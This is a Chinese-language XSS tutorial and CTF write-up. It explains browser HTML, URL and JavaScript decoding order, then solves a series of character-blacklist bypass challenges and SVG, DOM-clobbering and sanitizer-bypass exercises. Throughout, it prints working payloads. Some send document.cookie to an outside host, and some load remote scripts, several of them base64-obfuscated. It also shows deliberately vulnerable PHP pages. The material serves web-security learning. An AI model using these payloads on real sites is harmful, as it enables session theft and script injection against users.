这篇文章发表于 348 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这里的内容通过一些XSS题目,以此来引导出相应的知识——虽然基础知识部分放在前面但真心觉得随便过一下然后在做例题的时候回头看比较合适。

感谢下面所有题目的出题老哥,都是非常不错的练习!

以下内容既有在firefox中进行测试的,也有chrome里的。某些地方的阅读建议循序渐进,大佬随意。

基础知识

先补充点知识。直接去捧场这位的文章这位的文章这位的文章吧,这么多内容我懒得无脑复制2333,提取一下里面个人认为的重点吧。

DOM树构建

JS是通过DOM接口来操作文档的,而HTML文档也是用DOM树来表示。所以在浏览器的渲染过程中,我们最关注的就是DOM树是如何构建的。

解析一份文档时,先由标记生成器做词法分析,将读入的字符转化为不同类型的Token,然后将Token传递给树构造器处理;接着标识识别器继续接收字符转换为Token,如此循环。实际上对于很多其他语言,词法分析全部完成后才会进行语法分析(树构造器完成的内容),但由于HTML的特殊性,树构造器工作的时候有可能会修改文档的内容,因此这个过程需要循环处理。

Token类型共有7种,kStartTag代表开标签,kEndTag代表闭标签,kCharacter代表标签内的文本。所以一个<script>alert(1)</script>会被解析成3个不同种类的Token,分别是kStartTagkCharacterkEndTag。在处理Token的过程中,还有一个InsertionMode的概念,用于判断和辅助处理一些异常情况。

在处理Token的时候,还会用到HTMLElementStack,一个栈的结构。当解析器遇到开标签时,会创建相应元素并附加到其父节点,然后将token和元素构成的Item压入该栈。遇到一个闭标签的时候,就会一直弹出栈直到遇到对应元素构成的item为止,这也是一个处理文档异常的办法。比如<div><p>1</div>会被浏览器正确识别成<div><p>1</p></div>正是借助了栈的能力。

而当处理<script>的闭标签时,除了弹出相应item,还会暂停当前的DOM树构建,进入JS的执行环境。换句话说,在文档中的<script>标签会阻塞DOM的构造。JS环境里对DOM操作又会导致回流,为DOM树构造造成额外影响。

HTML解析

解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析,一般先是HTML解析。

  • HTML的词法解析过程的官方文档在这里
  • 只有三种情况可以容纳字符实体,也就是说不是任何地方都可以使用实体编码,只有在“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”这些状态中HTML字符实体将会从“&#…”形式解码,对应的解码字符会被放入数据缓冲区中
  • 处于“数据状态”时,不会转换到“标签开始状态”,就不会建立新标签,也就无法XSS。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”
  • 属性值状态中的字符引用,就类似于srcherf这样的属性值被编码,会先进行html解码的,再继续往下执行
  • HTML中有五类元素:
    • 空元素(Void elements),如<area>,<br>,<base>等等
    • 原始文本元素(Raw text elements),有<script><style>
    • RCDATA元素(RCDATA elements),有<textarea><title>
    • 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素
    • 基本元素(Normal elements),即除了以上4种元素以外的元素
  • RCDATA中有<textarea><title>两个属性并且有字符引用,也就是当实体字符出现在这两个标签里面的时候,实体字符会被识别,做一个HTML编码解析。在这两个标签内,是不会进入“标签开始状态”,也就是说里面的内容不会当做HTML代码解析,只认<textarea><title>标签来结束
  • 原始文本元素<script>在这个标签内容纳的是文本,所以浏览器在解析到这个标签后,后面的内容中的编码并不会被转义,所以也不会被执行

URL解析

不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。冒号也不能被编码。

1
2
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
<a href="javascript:%61%6c%65%72%74%28%31%29"></a>

后者可以执行但前者不可以。

JavaScript 解析

当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析工作,比如在处理诸如<script><style>这样的标签,解析器会自动切换到JS解析模式,而srchref后边加入的javascript伪URL,也会进入JS 的解析模式。JS解析的字符不一定全部都会当成js代码解析,需要分情况,转义序列放在3个部分:字符串中,标识符名称中和控制字符中。

  • 当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等
  • 当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量
1
2
3
4
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
<script>alert('13\u0027)</script>
<script>alert(\u0031)</script>
<script>alert('14\u000a')</script>

第一个可以执行;但第二个把uniocde\u0027解析为了一个常量',而不是控制字符',所以无法闭合;第三个需要引号闭合才能执行;第四个换行符有效果。

另外,这里还需要重点关注一个常常被用于构造绕过的特性,直接借用油管上的一张图了。

7

这里浏览器会对残缺的HTML标签进行修补,然后再呈现。但是因为下面的部分有<script>标签,因此浏览器会转至对javascript的解析,等待其结束而不是去修补<div>标签。

解析流程

当浏览器从网络堆栈中获得一段内容后,触发HTML解析器来对这篇文档进行词法解析。在这一步中字符引用被解码。在词法解析完成后,DOM树就被创建好了,JavaScript解析器会介入来对内联脚本进行解析。在这一步中Unicode转义序列和Hex转义序列被解码。同时,如果浏览器遇到需要URL的上下文,URL解析器也会介入来解码URL内容。在这一步中URL解码操作被完成。由于URL位置不同,URL解析器可能会在JavaScript解析器之前或之后进行解析。

考虑如下两种情况:

1
2
Example A: <a href="UserInput"></a>
Example B: <a href=# onclick="window.open('UserInput')"></a>

在例A中,HTML解析器将首先开始工作,并对UserInput中的字符引用进行解码。然后URL解析器开始对href值进行URL解码。最后,如果URL资源类型是JavaScript,那么JavaScript解析器会进行Unicode转义序列和Hex转义序列的解码。再之后,解码的脚本会被执行。因此,这里涉及三轮解码,顺序是HTML,URL和JavaScript。

在例B中,HTML解析器首先工作。然而接下来,JavaScript解析器开始解析在onclick事件处理器中的值。这是因为在onclick事件处理器中是script的上下文。当这段JavaScript被解析并被执行的时候,它执行的是“window.open()”操作,其中的参数是URL的上下文。在此时,URL解析器开始对UserInput进行URL解码并把结果回传给JavaScript引擎。因此这里一共涉及三轮解码,顺序是HTML,JavaScript和URL。

1
Example   C: <a   href="javascript:window.open('UserInput')">

例C与例A很像,但不同的是在UserInput前多了window.open()操作。因此,对UserInput多了一次额外的URL解码操作。总的来说,四轮解码操作被完成,顺序是HTML,URL,JavaScript和URL。

SVG

SVG标准中定义了script标签的存在,<svg>遵循XML和SVG的定义,因此我们可以利用其来执行XSS。因为<svg>标签属于五大元素中的外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行XSS了。

部分例题

没有题就说不过去了……但全是题也很蠢不是么……所以就这样了。里面未必全都是XSS的题,也未必都给出了让人满意的结果,但肯定都是和前端学习相关的。

一些题本身就很折磨,也许我写的内容太烂更折磨,自行取舍吧。

独孤九剑系列 - 基础绕过姿势

谢谢出题的大哥,练废了练废了……

独孤九剑1

过滤了=().这些符号。没和原题整一模一样,但其实是一样的……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta charset="utf-8">
<title>1</title>
</head>
<body>
<h2>过滤了 =() </h2>
<?php
$data = $_GET['a'];
$data = str_replace("=","",$data);
$data = str_replace("(","",$data);
$data = str_replace(")","",$data);
echo "<p>".$data."</p>";
?>
</body>
</html>

根据上面的知识,尝试构造出触发alert的payload如下:

1
http://127.0.0.1/1.php?a=<svg><script>alert&#x28'xss'&#x29</script></svg>

好吧,将以上信息输入浏览器框,我们发现并不能成功,为什么?很简单#会将之后的内容全部截断,以上内容相当于发送了http://127.0.0.1/1.php?a=<svg><script>alert&,自然是没办法弹窗。怎么办?很简单,将参数中的内容url编码即可。其实像alert这样的可以unicode编码,如下第二条。

1
2
http://127.0.0.1/1.php?a=%3csvg%3e%3cscript%3ealert%26%23x28'xss'%26%23x29%3c%2fscript%3e%3c%2fsvg%3e
http://127.0.0.1/1.php?a=%3csvg%3e%3cscript%3e%5cu0061lert%26%23x28'xss'%26%23x29%3c%2fscript%3e%3c%2fsvg%3e

这样就可以了。接下来为了能简单看清payload的样子,我们就默认最后一步会加上url编码,所有payload的样子都是尚未进行最后编码的。

提一句,想要弹窗其实还有下面这类办法哦。

1
http://127.0.0.1/1.php?a=<script>alert`xss`</script>

进一步根据此手法获取cookie信息,知道原理的话这里已经很简单了,以下都是可用的payload。

1
2
a=<svg><script>var i=new Image;i.src="http://172.17.0.1:9990/cookie?"+document.cookie;</script></svg>
需要将<script></script>标签中的所有内容进行实体编码

你可能会好奇为什么是“所有内容”,其实对于上面来说只需要把黑名单编码即可。但我们很快就会看到部分编码的坏处。

我们这里来讨论一下以下这个payload是否可以像上面一样编码使之可用:

1
a=<svg><img src=x onerror="this.src='http://172.17.0.1:9990/cookie?'+document.cookie;this.removeAttribute('onerror');"></svg>

经过尝试,发现是不可行的。<svg>标签只能解析<script>内的 HTML实体编码。而该题目作者的要求是加载一个js文件,所以我们不能通过这种方式。下面给出四种原始的payload。以下第一条、第二条和第三条都是需要进行HTML实体编码的(这里呈现就不编了)。

1
2
3
4
a=<svg><script>document.body.appendChild(document.createElement('script')).src='http://172.17.0.1:9990/evil.js';</script></svg>
a=<svg><script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 116, 121, 112, 101, 61, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 58, 47, 47, 49, 55, 50, 46, 49, 55, 46, 48, 46, 49, 58, 57, 57, 57, 48, 47, 101, 118, 105, 108, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62));</script></svg>
a=<svg><script>document.write`<script src="http://xcao.vip/xss/alert.js"></script>`;</script></svg>
a=<script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

建议对比下只编码黑名单和全部编码的区别,只实体编码黑名单很多情况会失败而全部实体编码就能成功——方便起见,我建议全部编码2333。

其次,在以上给出的四条中,你会发现第二条和第三条是无法成功加载文件的,尽管我们能够看到它实实在在地成为了页面的一部分——请问为什么?

因为<svg>标签只能解析<script>内的 HTML实体编码!

独孤九剑2

过滤了=().这些符号。其实用1中的已经绰绰有余了。

但作者用了setTimeout方法(其利用方法相当与eval),某网友给出一系列很不错的等价:

1
2
3
4
5
6
7
8
9
10
11
alert(1)
// 等同于
eval('alert(1)')
// 等同于
eval(`alert(1)`)
// 等同于
eval('alert\u00281\u0029')
// 等同于
setTimeout('alert\u00281\u0029')
// 等同于
setTimeout`alert\u00281\u0029`

就提一下,貌似没什么特别有趣的。

独孤九剑3

过滤了().&#\这些符号。这里没法使用HTML实体编码了。

但是作者放了等号,就很直接二次URL编码的payload攻击即可,切忌<svg>,因为<svg>标签只能解析<script>内的 HTML实体编码!

1
a=<script src="http://172%252e17%252e0%252e1:9990/evil%252Ejs"></script>

其实引用的外部js文件后缀可以不为js

这样的话,其实我们可以简单地通过对IP地址转化的trick来实现攻击(域名可能就没那么容易)。

1
2
3
a=<script src="http://2886795265:9990/evil"></script>
a=<script src="http://025404200001:9990/evil"></script>
a=<script src="http://[::1]:9990/evil"></script>

上面第一个和第二个分别使用了点分十进制和点分八进制,第三个使用了ipv6,但由于我本机配置的问题,浏览器无法访问ipv6,因此就这样意思意思。

这位师傅的博客里提到了一种很有意思的方法,就是通过location来实现加载被过滤的字符,其相关的文档可在这里找到,其次一些写法也有所改变以绕过括号。

1
a=<script>var dot=location["href"][10];var url=`http://xcao${dot}vip/xss/alert${dot}js`;document['write']`<script type="text/javascript" src=${url}></script>`;</script>

但是我们发现似乎并不能够成功写入,如果能够将write的内容进行unicode编码,可能就能够完成,当然这是不行的。感兴趣者可以自行探索下String["fromCharCode"]进行拼接是否可行。

独孤九剑4

过滤了=().&#\这些符号。方便起见,建议这里将请求方法改为POST

作者的payload是从如下的内容进行一步步编码的。

1
a=<script>location['replace']`javascript:eval(eval(location.hash.slice(1)))`</script>

使用location.replace方法引入javascript协议,由于location.replace里面的参数是连接,里面必然可以使用URL编码,因此我们要对replace后面的字符串内容进行URL编码。然后我们访问的网页为http://127.0.0.1/4.php#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'。这里可能没有体现,但location.hash的值是经过HTML实体编码的。

1
2
a=<script>location['replace']`javascript%3Aeval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`</script>
a=<script>location['replace']`javascript%253Aeval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`</script>

以上给出了两种,但其实后者是无法执行的——区别就在于后者对冒号进行了二次URL编码,我们在URL解析部分已经强调了这一点。

还有人提到这样一个方法。

1
a=<iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>

这里首先插入了<iframe>,于是有了下图所示的结果。

1

然后我们利用脚本将其中的内容进行了替换,base64的代码引入了我们所需要的js文件。

但是这个方法有一点比较不妙:通过<iframe>载入的任何资源,站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。

独孤九剑5

过滤了().&#\%这些符号。我们刚刚在3的时候已经看到使用ip转换的攻击了。

独孤九剑6

过滤了=().&#\%这些符号。我们发现在4中的base64方法依旧可行。

这里一个比较好的方法利用到了js模板字符串。

1
a=<script>document['write']`<img ${location['hash']['slice']`1`}`</script>https://www.anquanke.com/post/id/250538

思索与尝试一下我们知道应该访问的网页为http://127.0.0.1/6.php#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js';//

顺带在这里提一下:如果你发现onerror整个被过滤但必须使用<img>的情况下可以采用这样的payload:<img src="data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=" onload=alert(1)>

如果你留意了3中的最后一个问题,其实不难发现有一个将payload直接写入的办法。

1
a=<script>document['write']`${'<img src'+String['fromCharCode']`61`+'"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=" onload'+String['fromCharCode']`61`+'alert`1`>'}`</script>

独孤九剑7

过滤了=().&#\%<>这些符号,但题目输出所在的标签变成了<script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta charset="utf-8">
<title>7</title>
</head>
<body>
<h2>过滤了 =().&#\%<> </h2>
<?php
$data = $_POST['a'];
$data = str_replace(">","",$data);
$data = str_replace("<","",$data);
$data = str_replace("%","",$data);
$data = str_replace("=","",$data);
$data = str_replace("\\","",$data);
$data = str_replace("#","",$data);
$data = str_replace("(","",$data);
$data = str_replace(")","",$data);
$data = str_replace("&","",$data);
$data = str_replace(".","",$data);
echo "<script>var a=".$data.";</script>";
?>
</body>
</html>

思考了一下,刚刚在6中用过的办法似乎可行,只需要将黑名单中的字符进行转换即可。于是构造出如下的payload:

1
a="";document['write']`${''+String['fromCharCode']`60`+'img src'+String['fromCharCode']`61`+'"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs'+String['fromCharCode']`61`+'" onload'+String['fromCharCode']`61`+'alert`1`'+String['fromCharCode']`62`+''}`;

这个绕过非常强力。但还有一个很有趣的JSFuck方法,这位师傅的总结非常不错:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function =>[][“filter”]
eval => []["filter"]["constructor"](CODE)()
window => []["filter"]["constructor"]("return this")()

其实像下面这样就可以完成弹窗。

1
a=1;[]['constructor']['constructor']`${alert`1`}`

出题人给出的答案类似于下面这样的:

1
a=1;[]['constructor']['constructor']`a${location['hash']['slice']`1`}```

ps:作者在踩坑的过程中发现ES6模板语法的问题导致需要在$前面随便加一个字符才能够成功,这是为什么呢?其实呢在刚刚的alert弹窗中我们如果仔细调试下就能发现区别(但确实有些诡异)。

2

访问http://127.0.0.1/7.php#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'即可。

最后提一下,有什么办法能够让失去的<>回来吗?这篇推文可能有用,但它应该是需要服务器端处理上的配合才行的。

独孤九剑8

在7输出点的基础上过滤了=().&#\%<>'"[]这些符号。回头一看,之前所有的姿势都没办法绕过这个黑名单。

出题者提到的解法如下:

1
a=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp`}``param`

使用了函数的动态特性,而且直接给它调用了。

不过出题者还提到了一种很不错的方式,虽然在这里无法直接触发,但想法很漂亮。

1
<iframe src="http://xcao.vip/test/xss8.php/?data=Function`b${name}```" name="with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'"></iframe>

一些时候这个想法应该还是很有趣的。毕竟<iframe>src即便加载了js文件也无法执行,而这个方法可以突破。

独孤九剑8-1

在7输出点的基础上过滤了=().&#\%<>'"{}这些符号。回头一看,之前所有的姿势都没办法绕过这个黑名单。之前的东西再次失效了,甚至很难找到可以借鉴的东西——现在连模板字符串都没法使用了。

出题者给出的解答确实非常漂亮,采用了伪协议(注意:一些base64编码里指向的是本地9990端口的js文件)。

1
a=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp`;location[`replace`]`javascript:a`;

因为过滤掉了单引号和双引号,这里使用了反单引号完成绕过。

独孤九剑8-2

在7输出点的基础上过滤了=().&#\%<>'"[]这些符号以及字符串“Function”。

看起来只是在8的基础上多加了层过滤,于是根据8的思路,我们尝试发掘可以替代“Function”的函数。window.open就是我们要找的函数,而且其中的name参数可以填入URL,也就是说可以填入伪协议。

1
<script>window.open("javascript:name","<img src=x onerror=alert(1)>")</script>

那么在构造的时候参数该填在哪里呢?而且参数还有着编码,这一点很麻烦。

3

经过以上的尝试,我们大致知道了js调用时候参数对应的位置,但是具体的情况我们还需要一些尝试(注意:以下base64编码里指向的是本地9990端口的js文件)。另外由于全局执行上下文中的this是指向window对象的(可在控制台中输入console.log(this)来打印),所以我们直接open即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1 open`javascript:alert(1)`

2 open`javascript:atob("ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp")`

3 open`javascript:atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp``

4 open`javascript:${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp`}`

5 open("javascript",atob("ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp"))

6 open("javascript:name",atob("ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp"))

7 open`javascript:name${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp`}`

8 open`javascript:name,${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp`}`

9 open`javascript:name//${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8vMTcyLjE3LjAuMTo5OTkwL2V2aWwuanMnPjwvc2NyaXB0PiIp`}`

经过控制台内的测试,我们发现第一个和第二个能成功出发相关操作,但是第三个有语法错误,于是改进为第四个,而第四个虽可以弹窗,却无法成功执行相关操作。第五个本以为可以成功执行,却发现只会弹出http://127.0.0.1/javascript这样的窗口,接着我们在第六个尝试控制其形参,然后成功执行。

尝试将第六个的payload转化为可用的,第七个和第八个都是失败的转化,但我们在第九个成功了,它就是答案。

独孤九剑9

在7输出点的基础上过滤了().&#\%<>'"[]${};,/这些符号外加反引号,只放开了=。另外请将刚刚的POST方法改回GET

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta charset="utf-8">
<title>9</title>
</head>
<body>
<h2>过滤了 ().&#\%<>'"[]${};,/` </h2>
<?php
$data = $_GET['a'];
$data = str_replace('}',"",$data);
$data = str_replace('{',"",$data);
$data = str_replace('$',"",$data);
$data = str_replace(';',"",$data);
$data = str_replace(',',"",$data);
$data = str_replace('/',"",$data);
$data = str_replace('"',"",$data);
$data = str_replace("'","",$data);
$data = str_replace("]","",$data);
$data = str_replace("[","",$data);
$data = str_replace(">","",$data);
$data = str_replace("<","",$data);
$data = str_replace("%","",$data);
$data = str_replace("`","",$data);
$data = str_replace("\\","",$data);
$data = str_replace("#","",$data);
$data = str_replace("(","",$data);
$data = str_replace(")","",$data);
$data = str_replace("&","",$data);
$data = str_replace(".","",$data);
echo "<script>var a=".$data.";</script>";
?>
</body>
</html>

出题者给出的payload如下:

1
http://127.0.0.1/9.php?a=location=name

点击就会无限跳转。因为location有着重定向的功用,然后参数还是重定向到这个页面……

貌似没法加载什么东西,但折磨客户心态应该已经够了。

追加练习1 - 传参调用

其实这道题和xss联系稍微少了些。题目来自于这里。要求简单来说就是如何在过滤了<>=()[]符号以及单引号的情况下调用js中的函数。

ES5的规范中,提到了toStringvalueOf执行其值所对应的函数。

1
2
1-{valueOf:function(){alert(1)}};
1-{valueOf:function(){alert`1`}};

在控制台,这些都是可以用来弹窗的。随后出题者发问:如何传入参数?

在回答这个问题之前,我们先了解下jsthis机制,根据这篇文章这篇文章这篇文章,我提取了如下的相关重点:

  • 在函数外部,this指向window对象

  • 在函数内部普通调用时

    • strict模式下,this指向undefined
    • 非strict模式下,this指向当前对象
  • callbindapply函数能够改变this指向的对象,如下图

    4

  • 使用对象来调用其内部的一个方法,该方法的this是指向对象本身的

  • 利用new关键字可构建新对象,并且构造函数中的this其实就是新对象本身

1
a=xx%27-{valueOf:test.a,%27call%27:%22%27%22%2blocation.hash}-%27#';hello('a','b','c');//

追加练习2 - svg

这部分主要就是参照P牛的这篇文章这位老哥的文章进行学习的,他先为我们带来一道简化后的题目。我们直接看下面这代码吧。

1
2
3
4
5
6
7
8
9
10
11
12
<script>
const data = decodeURIComponent(location.hash.substr(1));
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性
for (let el of root.querySelectorAll('*')) {
for (let attr of el.attributes) {
el.removeAttribute(attr.name);
}
}
document.body.appendChild(root);
</script>

这段代码想要移除所有HTML属性,相当于白名单为空。如果需要无HTML属性执行一些操作的话,很显然会想到<script>alert(1)</script>这种,但是innerHTML是不会执行这种的!这里有篇文章可以参考。

但是这段代码犯了一个有意思的错误,就是el.attributes的长度会因为removeAttribute而减小,因此可相对容易地构造多个属性来完成绕过。出题者注意到了这一点随后对其进行了修复(这里我又对其完整了一下,否则某些payload无法执行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!DOCTYPE html>
<html>
<head>
<title>TASK</title>
</head>
<body>
<script>
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
// 这里模拟了XSS过滤的过程,方法是移除所有属性,sanitizer
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</body>
</html>

这里有两种解法,第一种是绕过这个过滤,第二种是在过滤之前触发XSS。我们先来看看第一种需要用到Dom Clobbering技术的。

1
2
3
<style>@keyframes x{}</style><form style="animation-name:x" onanimationstart="alert(1)"><input id=attributes><input id=attributes></form>

<form tabindex=1 onmouseover="alert(1);this.removeAttribute('onfocus');" autofocus=true> <img id=attributes><img id=attributes name=z></form>

以上就是通过<input>标签实现对attributes的劫持(因为当elform这个元素的时候,el.attributes的值不再是form的属性,而是<input>这个元素),从而完成对过滤的逃避。第一个payload在chrome和firefox上均可自动触发,而第二个只能在chrome上自动触发,firefox里必须将光标移到对应位置。

第二种方法的payload理解起来不那么费劲,它会在过滤之前触发XSS。下面第一个payload能够在chrome上触发但第二个不会,并且在firefox上两者似乎都不行。

1
<svg><svg onload=alert(1)>

为什么能够在过滤之前触发呢?我们先来抛开过滤来看看上题中的核心代码在面对<img src=x onerror=alert(99)><svg><svg onload=alert(99)>这两段payload时候的行为。

5

上面的这个是<img>标签的,其实document.body.appendChild(root);这句甚至可以不需要,这说明即使img元素没有被添加到DOM树也不影响相关资源的加载和事件的触发。另外alert(1)是在页面上<script>标签中的代码全部执行完毕以后才被调用的。这里涉及到浏览器渲染的另外一部分内容: 在DOM树构建完成以后,就会触发DOMContentLoaded事件,接着加载脚本、图片等外部文件,全部加载完成之后触发load事件。总的来说,在<script>标签内的JS执行完毕以后,DOM树才会构建完成,接着才会加载图片,然后发现加载内容出错才会触发error事件。而过滤就是在DOM树构建完成之前,删去了img的属性。

下图则是<svg>标签的情况。

6

可见这个弹窗明显是后者更快,甚至有点离谱的感觉。而且如果我们去掉第一个<svg>,就会像<img>一样按部就班地加载。根据这篇文章的探索,我们发现在构建DOM树的时候,若我们没有正确闭合标签的时候,如<svg><svg>,就可能调用到出栈函数PopAll来清理,而其代码逻辑导致了内层的<svg>随即触发load事件。

其实在原作者文章中提到<details open ontoggle=alert(1)>也可以成功弹窗,但这个是对于Tui Editor来说的,原因是在那个情况下代码对details有黑名单过滤。正常情况肯定认为这个过滤成功阻拦了威胁,但事实上它成为了帮凶。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
<title>TASK</title>
</head>
<body>
<script>
const data = decodeURIComponent(location.hash.substr(1));;
const root = document.createElement('div');
root.innerHTML = data;
let details = root.querySelector("details")
root.removeChild(details)
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name);
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</body>
</html>

因为details标签的toggle事件是异步触发的,并且直接对details标签的移除不会清除原先通过属性设置的异步任务!

追加练习3 - svg

这部分主要也是参照P牛的这篇文章进行学习的,我们现在来看看追加练习2里面没有提到的其他部分内容。

其文中的第一部分是针对Tui Editor的XSS过滤规则的绕过。Tui Editor渲染时不做任何处理,渲染完成以后再将整个数据作为富文本进行过滤,总结一下大概的过滤过程是:

  • 1、先正则直接去除注释与onload属性的内容
  • 2、将上面处理后的内容,赋值给一个新创建的div的innerHTML属性,建立起一颗DOM树
  • 3、用黑名单删除掉一些危险DOM节点,比如iframescript
  • 4、用白名单对属性进行一遍处理,处理逻辑如下
    • 只保留白名单里名字开头的属性
    • 对于满足正则/href|src|background/i的属性,进行额外处理
  • 5、处理完成后的DOM,获取其HTML代码返回

在其中第四步的第二点额外处理的代码如下:

1
2
3
4
5
6
7
const reXSSAttr = /href|src|background/i;
const reXSSAttrValue = /((java|vb|live)script|x):/i;
const reWhitespace = /[ \t\r\n]/g;

function isXSSAttribute(attrName: string, attrValue: string) {
return attrName.match(reXSSAttr) && attrValue.replace(reWhitespace, '').match(reXSSAttrValue);
}

也就是说我们接下来需要做的是在属性里面进行操作绕过以上这个过滤。原作者想到了利用<svg>标签,里面再使用其他的标签

1
2
3
<svg><a xlink:href="javascript:alert(1)"><text x="100" y="100">XSS</text></a>

<svg><circle id="myCircle" cx="5" cy="5" r="4" stroke="blue"/><use href="#myCircle"></use></svg>

以上第一个显然没办法绕过,但是第二个里面使用了<use>,其作用是引用本页面或第三方页面的另一个<svg>元素。<use>href属性指向那个被它引用的元素,但与<a>标签的href属性不同的是,<use>href不能使用JavaScript伪协议,但可以使用data协议。所以里面的<svg>相关知识可以参考该网站中提及的trick这个网站的相关操作。就不难构造出原作者提到的payload:

1
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

data协议中的文件必须是一个完整的svg,而且整个data的URL末尾,需要有一个锚点#x来指向内部这个被引用的svg。因为属性中还存在着javascript字样,为了成功实现绕过,接下来只需要对其中的<svg>包裹的内容进行base64编码即可。

1
